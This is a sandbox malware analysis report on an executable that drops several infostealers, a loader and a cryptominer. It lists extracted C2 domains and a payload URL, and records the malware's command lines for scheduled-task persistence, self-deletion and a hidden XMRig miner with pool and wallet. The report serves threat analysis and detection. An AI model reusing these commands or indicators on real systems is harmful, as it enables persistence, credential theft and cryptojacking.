Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

47f849e72b...19.exe

windows7_x64

10

47f849e72b...19.exe

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    172s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    13/08/2021, 23:35

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    47f849e72bd7d203755775eebef19e1efa71ee19.exe

  • Size

    4.4MB

  • MD5

    2ab67006fad0b7b4e8fb6496e221a529

  • SHA1

    47f849e72bd7d203755775eebef19e1efa71ee19

  • SHA256

    5cb7dc8f48821f9e1f48c9d2d52f0f8e435c1286e5e0df3551f614deccdc47dc

  • SHA512

    a6ed4b8ae46d5bfdc802054c8ca428500473d29a736e1277c9654c6dfa2ae481a9e5fe0c505e0be0beddc86f880d0212483014968f41e5d93c15190877b16452

Score
10/10
cryptbotelysiumstealergluptebametasploitraccoonredlinesocelarsxmrig022f7f19749a47aa4d6a10b25bfd352ecb963373mix 14.08backdoordiscoverydropperinfostealerloaderminerpersistencespywarestealersuricatatrojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

raccoon

Botnet

022f7f19749a47aa4d6a10b25bfd352ecb963373

Attributes
  • url4cnc

    https://telete.in/h_ghaibin2_1

rc4.plain
rc4.plain

Extracted

Family

cryptbot

C2

lysano52.top

morecj05.top
Attributes
  • payload_url

    http://damyeb07.top/download.php?file=lv.exe

Extracted

Family

redline

Botnet

MIX 14.08

C2

185.215.113.17:18597

Signatures

  • CryptBot

    A C++ stealer distributed widely in bundle with other software.

    spywarestealercryptbot
  • CryptBot Payload 2 IoCs
  • ElysiumStealer

    ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.

    stealerelysiumstealer
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • Raccoon Stealer Payload 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • suricata: ET MALWARE AutoHotkey Downloader Checkin via IPLogger

    suricata: ET MALWARE AutoHotkey Downloader Checkin via IPLogger

    suricata
  • suricata: ET MALWARE GCleaner Downloader Activity M1

    suricata: ET MALWARE GCleaner Downloader Activity M1

    suricata
  • suricata: ET MALWARE GCleaner Downloader Activity M2

    suricata: ET MALWARE GCleaner Downloader Activity M2

    suricata
  • suricata: ET MALWARE GCleaner Downloader Activity M3

    suricata: ET MALWARE GCleaner Downloader Activity M3

    suricata
  • suricata: ET MALWARE GCleaner Related Downloader User-Agent

    suricata: ET MALWARE GCleaner Related Downloader User-Agent

    suricata
  • suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 3 IoCs
    miner
  • Downloads MZ/PE file
  • Executes dropped EXE 27 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 56 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 7 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 16 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:472
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:876
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:2404
    • C:\Users\Admin\AppData\Local\Temp\47f849e72bd7d203755775eebef19e1efa71ee19.exe
      "C:\Users\Admin\AppData\Local\Temp\47f849e72bd7d203755775eebef19e1efa71ee19.exe"
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:1620
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
          3⤵
            PID:1316
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
              4⤵
              • Creates scheduled task(s)
              PID:2924
          • C:\Users\Admin\AppData\Roaming\services64.exe
            "C:\Users\Admin\AppData\Roaming\services64.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            PID:1496
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
              4⤵
                PID:2632
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                  5⤵
                  • Creates scheduled task(s)
                  PID:2636
              • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                4⤵
                • Executes dropped EXE
                PID:2644
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:444
          • C:\Users\Admin\AppData\Local\Temp\1.exe
            "C:\Users\Admin\AppData\Local\Temp\1.exe"
            2⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:872
            • C:\Users\Admin\AppData\Roaming\2094421.exe
              "C:\Users\Admin\AppData\Roaming\2094421.exe"
              3⤵
              • Executes dropped EXE
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:580
              • C:\Windows\system32\WerFault.exe
                C:\Windows\system32\WerFault.exe -u -p 580 -s 1888
                4⤵
                • Program crash
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                PID:3060
            • C:\Users\Admin\AppData\Roaming\5636087.exe
              "C:\Users\Admin\AppData\Roaming\5636087.exe"
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Adds Run key to start application
              • Suspicious use of WriteProcessMemory
              PID:972
              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                4⤵
                • Executes dropped EXE
                PID:2272
            • C:\Users\Admin\AppData\Roaming\4912029.exe
              "C:\Users\Admin\AppData\Roaming\4912029.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:1800
            • C:\Users\Admin\AppData\Roaming\7144733.exe
              "C:\Users\Admin\AppData\Roaming\7144733.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2076
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2076 -s 1760
                4⤵
                • Loads dropped DLL
                • Program crash
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                PID:2256
          • C:\Users\Admin\AppData\Local\Temp\2.exe
            "C:\Users\Admin\AppData\Local\Temp\2.exe"
            2⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious use of AdjustPrivilegeToken
            PID:1332
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c taskkill /f /im chrome.exe
              3⤵
                PID:2688
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im chrome.exe
                  4⤵
                  • Kills process with taskkill
                  PID:2740
            • C:\Users\Admin\AppData\Local\Temp\3.exe
              "C:\Users\Admin\AppData\Local\Temp\3.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1160
              • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:2152
                • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                  4⤵
                  • Executes dropped EXE
                  • Modifies data under HKEY_USERS
                  PID:1340
            • C:\Users\Admin\AppData\Local\Temp\4.exe
              "C:\Users\Admin\AppData\Local\Temp\4.exe"
              2⤵
              • Executes dropped EXE
              PID:532
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\73792144701.exe"
                3⤵
                • Loads dropped DLL
                PID:2848
                • C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\73792144701.exe
                  "C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\73792144701.exe"
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Modifies system certificate store
                  PID:2880
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\73792144701.exe"
                    5⤵
                      PID:2624
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        6⤵
                        • Delays execution with timeout.exe
                        PID:3056
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\78239634017.exe" /mix
                  3⤵
                  • Loads dropped DLL
                  PID:3048
                  • C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\78239634017.exe
                    "C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\78239634017.exe" /mix
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Checks processor information in registry
                    • Suspicious use of FindShellTrayWindow
                    PID:2128
                    • C:\Users\Admin\AppData\Local\Temp\Filett.exe
                      "C:\Users\Admin\AppData\Local\Temp\Filett.exe"
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Drops file in Program Files directory
                      PID:2308
                      • C:\Users\Admin\AppData\Local\Temp\arose\vin.exe
                        "C:\Users\Admin\AppData\Local\Temp\arose\vin.exe"
                        6⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Adds Run key to start application
                        PID:1532
                        • C:\Windows\SysWOW64\dllhost.exe
                          dllhost.exe
                          7⤵
                            PID:2868
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c cmd < Ricomincia.xls
                            7⤵
                              PID:2756
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd
                                8⤵
                                • Loads dropped DLL
                                • Modifies data under HKEY_USERS
                                PID:1340
                                • C:\Windows\SysWOW64\findstr.exe
                                  findstr /V /R "^jZvjHjHxviPgppBDTSaswkcVepFqvVJTGccDaWvLwkekqowEJeUGTSUqEBpnHGXBbWINNYkWcGfPopUUiqsxqrqOAcYRNYtcgBOtmgRKQYljCyScGgdGfCAzVUhaZxobCUBGxPcToGEwTOkc$" Cio.xls
                                  9⤵
                                    PID:2092
                                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Torno.exe.com
                                    Torno.exe.com p
                                    9⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of SendNotifyMessage
                                    PID:1544
                                    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Torno.exe.com
                                      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Torno.exe.com p
                                      10⤵
                                      • Executes dropped EXE
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      PID:600
                                  • C:\Windows\SysWOW64\PING.EXE
                                    ping QWOCTUPM -n 30
                                    9⤵
                                    • Runs ping.exe
                                    PID:2808
                            • C:\Users\Admin\AppData\Local\Temp\arose\fine.exe
                              "C:\Users\Admin\AppData\Local\Temp\arose\fine.exe"
                              6⤵
                              • Executes dropped EXE
                              • Drops startup file
                              • Loads dropped DLL
                              PID:2744
                              • C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
                                "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
                                7⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious behavior: AddClipboardFormatListener
                                PID:1280
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\ZjgMjTQf1 & timeout 2 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\78239634017.exe"
                            5⤵
                              PID:2600
                              • C:\Windows\SysWOW64\timeout.exe
                                timeout 2
                                6⤵
                                • Delays execution with timeout.exe
                                PID:2464
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\47180391374.exe" /mix
                          3⤵
                          • Loads dropped DLL
                          PID:1408
                          • C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\47180391374.exe
                            "C:\Users\Admin\AppData\Local\Temp\{S4y3-tAvyP-sffe-iAPAe}\47180391374.exe" /mix
                            4⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Checks processor information in registry
                            PID:2180
                            • C:\Users\Admin\AppData\Roaming\frekodi\apineshpp.exe
                              apineshpp.exe
                              5⤵
                              • Executes dropped EXE
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2740
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c taskkill /im "4.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\4.exe" & exit
                          3⤵
                            PID:2436
                        • C:\Users\Admin\AppData\Local\Temp\5.exe
                          "C:\Users\Admin\AppData\Local\Temp\5.exe"
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of WriteProcessMemory
                          PID:1148
                          • C:\Users\Admin\AppData\Local\Temp\5.exe
                            "C:\Users\Admin\AppData\Local\Temp\5.exe" -a
                            3⤵
                            • Executes dropped EXE
                            PID:1756
                        • C:\Users\Admin\AppData\Local\Temp\6.exe
                          "C:\Users\Admin\AppData\Local\Temp\6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:812
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 1076
                          2⤵
                          • Program crash
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: GetForegroundWindowSpam
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1508
                      • C:\Windows\system32\rundll32.exe
                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                        1⤵
                        • Process spawned unexpected child process
                        • Suspicious use of WriteProcessMemory
                        PID:2176
                        • C:\Windows\SysWOW64\rundll32.exe
                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                          2⤵
                          • Loads dropped DLL
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2196
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /im "4.exe" /f
                        1⤵
                        • Kills process with taskkill
                        PID:2412

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/444-270-0x0000000140000000-0x0000000140763000-memory.dmp

                        Filesize

                        7.4MB

                        Download

                      • memory/444-271-0x0000000000140000-0x0000000000160000-memory.dmp

                        Filesize

                        128KB

                        Download

                      • memory/444-269-0x00000000000E0000-0x0000000000100000-memory.dmp

                        Filesize

                        128KB

                        Download

                      • memory/444-267-0x0000000140000000-0x0000000140763000-memory.dmp

                        Filesize

                        7.4MB

                        Download

                      • memory/532-105-0x00000000002A0000-0x00000000002CE000-memory.dmp

                        Filesize

                        184KB

                        Download

                      • memory/532-106-0x0000000000400000-0x0000000000910000-memory.dmp

                        Filesize

                        5.1MB

                        Download

                      • memory/580-113-0x00000000003F0000-0x000000000041B000-memory.dmp

                        Filesize

                        172KB

                        Download

                      • memory/580-133-0x000000001AEA0000-0x000000001AEA2000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/580-111-0x0000000000280000-0x0000000000281000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/872-90-0x00000000002D0000-0x00000000002D1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/872-73-0x00000000002E0000-0x00000000002E1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/872-102-0x000000001AF70000-0x000000001AF72000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/872-78-0x00000000002C0000-0x00000000002C1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/872-83-0x0000000000420000-0x000000000043E000-memory.dmp

                        Filesize

                        120KB

                        Download

                      • memory/876-155-0x00000000009A0000-0x00000000009ED000-memory.dmp

                        Filesize

                        308KB

                        Download

                      • memory/876-156-0x0000000000D90000-0x0000000000E04000-memory.dmp

                        Filesize

                        464KB

                        Download

                      • memory/972-117-0x0000000001390000-0x0000000001391000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/972-128-0x0000000000330000-0x0000000000337000-memory.dmp

                        Filesize

                        28KB

                        Download

                      • memory/1160-84-0x0000000001060000-0x0000000001061000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1160-101-0x000000001B090000-0x000000001B092000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/1280-258-0x0000000000400000-0x0000000002CC7000-memory.dmp

                        Filesize

                        40.8MB

                        Download

                      • memory/1472-61-0x00000000757C1000-0x00000000757C3000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/1472-59-0x0000000000F60000-0x0000000000F61000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1496-227-0x000000013F550000-0x000000013F551000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1496-262-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/1508-107-0x0000000000330000-0x0000000000331000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1620-66-0x000000013FC60000-0x000000013FC61000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1620-220-0x0000000000650000-0x000000000065A000-memory.dmp

                        Filesize

                        40KB

                        Download

                      • memory/1620-221-0x000000001AD80000-0x000000001AD82000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/1800-126-0x00000000004D0000-0x0000000000502000-memory.dmp

                        Filesize

                        200KB

                        Download

                      • memory/1800-122-0x0000000001380000-0x0000000001381000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1800-163-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2076-138-0x00000000001B0000-0x00000000001DA000-memory.dmp

                        Filesize

                        168KB

                        Download

                      • memory/2076-129-0x0000000000C50000-0x0000000000C51000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2076-140-0x0000000000800000-0x0000000000801000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2128-185-0x0000000000220000-0x00000000002C0000-memory.dmp

                        Filesize

                        640KB

                        Download

                      • memory/2128-196-0x0000000002E20000-0x0000000002E21000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2128-187-0x000000006D6C1000-0x000000006D6C3000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/2128-212-0x000000006D121000-0x000000006D123000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/2128-186-0x0000000000400000-0x0000000002D19000-memory.dmp

                        Filesize

                        41.1MB

                        Download

                      • memory/2152-161-0x0000000001360000-0x0000000001C86000-memory.dmp

                        Filesize

                        9.1MB

                        Download

                      • memory/2152-162-0x0000000000400000-0x0000000000D41000-memory.dmp

                        Filesize

                        9.3MB

                        Download

                      • memory/2180-209-0x0000000000400000-0x000000000095D000-memory.dmp

                        Filesize

                        5.4MB

                        Download

                      • memory/2180-208-0x0000000000960000-0x0000000000A2C000-memory.dmp

                        Filesize

                        816KB

                        Download

                      • memory/2196-154-0x0000000000280000-0x00000000002DF000-memory.dmp

                        Filesize

                        380KB

                        Download

                      • memory/2196-153-0x0000000001F00000-0x0000000002001000-memory.dmp

                        Filesize

                        1.0MB

                        Download

                      • memory/2256-204-0x0000000000340000-0x0000000000341000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2272-149-0x0000000000D40000-0x0000000000D41000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2404-157-0x0000000000500000-0x0000000000574000-memory.dmp

                        Filesize

                        464KB

                        Download

                      • memory/2404-231-0x00000000031C0000-0x00000000032C6000-memory.dmp

                        Filesize

                        1.0MB

                        Download

                      • memory/2404-230-0x0000000000260000-0x000000000027B000-memory.dmp

                        Filesize

                        108KB

                        Download

                      • memory/2644-266-0x0000000002590000-0x0000000002592000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/2644-264-0x000000013F150000-0x000000013F151000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2740-215-0x0000000000400000-0x0000000002C7C000-memory.dmp

                        Filesize

                        40.5MB

                        Download

                      • memory/2740-211-0x0000000000230000-0x000000000025F000-memory.dmp

                        Filesize

                        188KB

                        Download

                      • memory/2740-219-0x0000000006FF4000-0x0000000006FF6000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/2740-213-0x0000000002DD0000-0x0000000002DEC000-memory.dmp

                        Filesize

                        112KB

                        Download

                      • memory/2740-218-0x0000000006FF3000-0x0000000006FF4000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2740-214-0x0000000004AA0000-0x0000000004ABA000-memory.dmp

                        Filesize

                        104KB

                        Download

                      • memory/2740-217-0x0000000006FF2000-0x0000000006FF3000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2740-216-0x0000000006FF1000-0x0000000006FF2000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2744-249-0x0000000000400000-0x0000000002CC7000-memory.dmp

                        Filesize

                        40.8MB

                        Download

                      • memory/2744-248-0x00000000002E0000-0x0000000000306000-memory.dmp

                        Filesize

                        152KB

                        Download

                      • memory/2880-173-0x0000000000220000-0x00000000002B3000-memory.dmp

                        Filesize

                        588KB

                        Download

                      • memory/2880-174-0x0000000000400000-0x0000000000943000-memory.dmp

                        Filesize

                        5.3MB

                        Download

                      • memory/3060-178-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/3060-206-0x0000000001DA0000-0x0000000001DA1000-memory.dmp

                        Filesize

                        4KB

                        Download